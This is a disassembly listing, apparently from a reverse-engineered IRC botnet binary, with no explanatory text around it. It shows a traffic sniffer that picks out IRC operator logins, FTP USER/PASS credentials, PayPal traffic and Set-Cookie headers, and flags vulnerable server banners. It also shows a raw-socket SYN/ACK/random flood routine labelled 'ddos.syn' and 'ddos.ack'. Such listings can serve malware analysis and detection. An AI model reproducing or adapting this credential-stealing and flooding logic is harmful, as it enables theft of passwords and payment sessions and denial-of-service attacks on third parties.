		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_413003	proc near		; CODE XREF: sub_4131EC+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41301D


loc_413019:				; CODE XREF: sub_413003+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41301D:				; CODE XREF: sub_413003+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413019
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413043


loc_41303F:				; CODE XREF: sub_413003+4Fj
					; sub_413003+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: sub_413003+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41303F
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413003	endp


; =============== S U B	R O U T	I N E =======================================



sub_413079	proc near		; CODE XREF: sub_4131EC+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413093


loc_41308F:				; CODE XREF: sub_413079+29j
					; sub_413079+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413093:				; CODE XREF: sub_413079+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41308F
		push	offset a220	; "220 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CA


loc_4130C6:				; CODE XREF: sub_413079+60j
					; sub_413079+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: sub_413079+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130C6
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413079	endp


; =============== S U B	R O U T	I N E =======================================



sub_413100	proc near		; CODE XREF: sub_4131EC+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41311A


loc_413116:				; CODE XREF: sub_413100+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311A:				; CODE XREF: sub_413100+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413116
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413140


loc_41313C:				; CODE XREF: sub_413100+4Fj
					; sub_413100+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: sub_413100+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41313C
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413100	endp


; =============== S U B	R O U T	I N E =======================================



sub_413187	proc near		; CODE XREF: sub_4131EC:loc_4135B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131A1


loc_41319D:				; CODE XREF: sub_413187+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131A1:				; CODE XREF: sub_413187+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41319D
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4131C7


loc_4131C3:				; CODE XREF: sub_413187+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4131C7:				; CODE XREF: sub_413187+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4131C3
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413187	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4131EC	proc near		; DATA XREF: sub_401ACD+42A0o

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CB9E8
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CBA58
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41CD20
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_413292
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_413292:				; CODE XREF: sub_4131EC+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413308
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437870
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4132E4
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_4132E4:				; CODE XREF: sub_4131EC+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_413308:				; CODE XREF: sub_4131EC+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CB980
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41338E
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_437840
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_41336A
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h


loc_41336A:				; CODE XREF: sub_4131EC+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41338E:				; CODE XREF: sub_4131EC+13Cj
		mov	esi, 200h


loc_413393:				; CODE XREF: sub_4131EC+1D6j
					; sub_4131EC+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CB9EC
		cmp	[ebp+var_113AF], 6
		jnz	short loc_413393
		push	[ebp+var_113A4]
		mov	edi, dword_4271CC
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_413393
		cmp	[ebp+arg_0], 19h
		jz	short loc_413393
		cmp	edi, 6Eh
		jz	short loc_413393
		cmp	edi, 19h
		jz	short loc_413393
		push	[ebp+var_113AC]
		call	sub_412EDD
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+var_113A8]
		call	sub_412EDD
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jle	short loc_413491


loc_41345D:				; CODE XREF: sub_4131EC+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_413474
		mov	byte ptr [eax],	20h


loc_413474:				; CODE XREF: sub_4131EC+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41347C
		mov	byte ptr [eax],	20h


loc_41347C:				; CODE XREF: sub_4131EC+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41345D


loc_413491:				; CODE XREF: sub_4131EC+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413544
		cmp	edi, 50h
		jz	loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412EEC
		test	al, al
		pop	ecx
		jz	short loc_4134D8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43780C
		jmp	loc_413573
; ---------------------------------------------------------------------------


loc_4134D8:				; CODE XREF: sub_4131EC+2C7j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413003
		test	al, al
		pop	ecx
		jz	short loc_41350E
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377D8
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_41350E:				; CODE XREF: sub_4131EC+300j
		cmp	edi, 50h
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413079
		test	al, al
		pop	ecx
		jz	short loc_413544
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4377A4
		jmp	short loc_413573
; ---------------------------------------------------------------------------


loc_413544:				; CODE XREF: sub_4131EC+2A9j
					; sub_4131EC+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_413100
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4135B1
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43776C


loc_413573:				; CODE XREF: sub_4131EC+2E7j
					; sub_4131EC+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_413393
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409869
		add	esp, 14h
		jmp	loc_413393
; ---------------------------------------------------------------------------


loc_4135B1:				; CODE XREF: sub_4131EC+36Ej
		call	sub_413187
		test	al, al
		pop	ecx
		jz	loc_413393
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_437734
		jmp	short loc_413573
sub_4131EC	endp

; ---------------------------------------------------------------------------
byte_4135DF	db 55h			; DATA XREF: sub_401ACD+6464o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 227D4C2h
		dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413694	proc near		; CODE XREF: ___:00413A0Bp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_4136D4
		xor	eax, eax
		jmp	loc_4139C7
; ---------------------------------------------------------------------------


loc_4136D4:				; CODE XREF: sub_413694+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4139BF
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_4139B5
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CB9D4
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		call	sub_41C2C2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CB9D4
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CB9D0
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137A4
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137A4:				; CODE XREF: sub_413694+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137C0
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4137F8
; ---------------------------------------------------------------------------


loc_4137C0:				; CODE XREF: sub_413694+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4137F8
		call	sub_41C2C2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41C2C2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4137F8:				; CODE XREF: sub_413694+10Ej
					; sub_413694+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CB9D4
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 279044Ah
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27901B7h
		nop
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_413846:				; CODE XREF: sub_413694+2E2j
					; sub_413694+2F0j
		mov	[ebp+var_4], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_14], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413989
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27901B7h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4139B2
		jl	loc_413846
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4139B2
		jmp	loc_413846
; ---------------------------------------------------------------------------


loc_413989:				; CODE XREF: sub_413694+2CBj
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4378C4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_4139B5
; ---------------------------------------------------------------------------


loc_4139B2:				; CODE XREF: sub_413694+2E0j
					; sub_413694+2EEj
		mov	ebx, [ebp+arg_8]


loc_4139B5:				; CODE XREF: sub_413694+78j
					; sub_413694+31Cj
		push	[ebp+var_20]
		call	dword_4CBA6C
		pop	esi


loc_4139BF:				; CODE XREF: sub_413694+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4139C7:				; CODE XREF: sub_413694+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_413694	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_413694
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413A1A
		push	1
		pop	eax


loc_413A1A:				; CODE XREF: ___:00413A15j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_413A29	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6643o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh
		dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h
		dd 59FFFF7Ch, 0E8905759h, 22CC53Ch, 6AF44D8Dh, 0FF335104h
		dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h
		dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h
		dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h
		dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh,	858D14C4h
		dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h,	5959FFFFh
		dd 0C5E89057h, 8D022CC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h
		dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h
		dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h,	50D875FFh
		dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh
		dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h
		dd 575959FFh, 2CC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h
		dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch
		dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh,	4270B035h
		dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h
		dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch,	0E74005C6h
		dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch
		dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch
		dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h
		dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h
		dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h
		dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h
		dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h
		dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h
		dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h
		dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h
		dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h
		dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h
		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
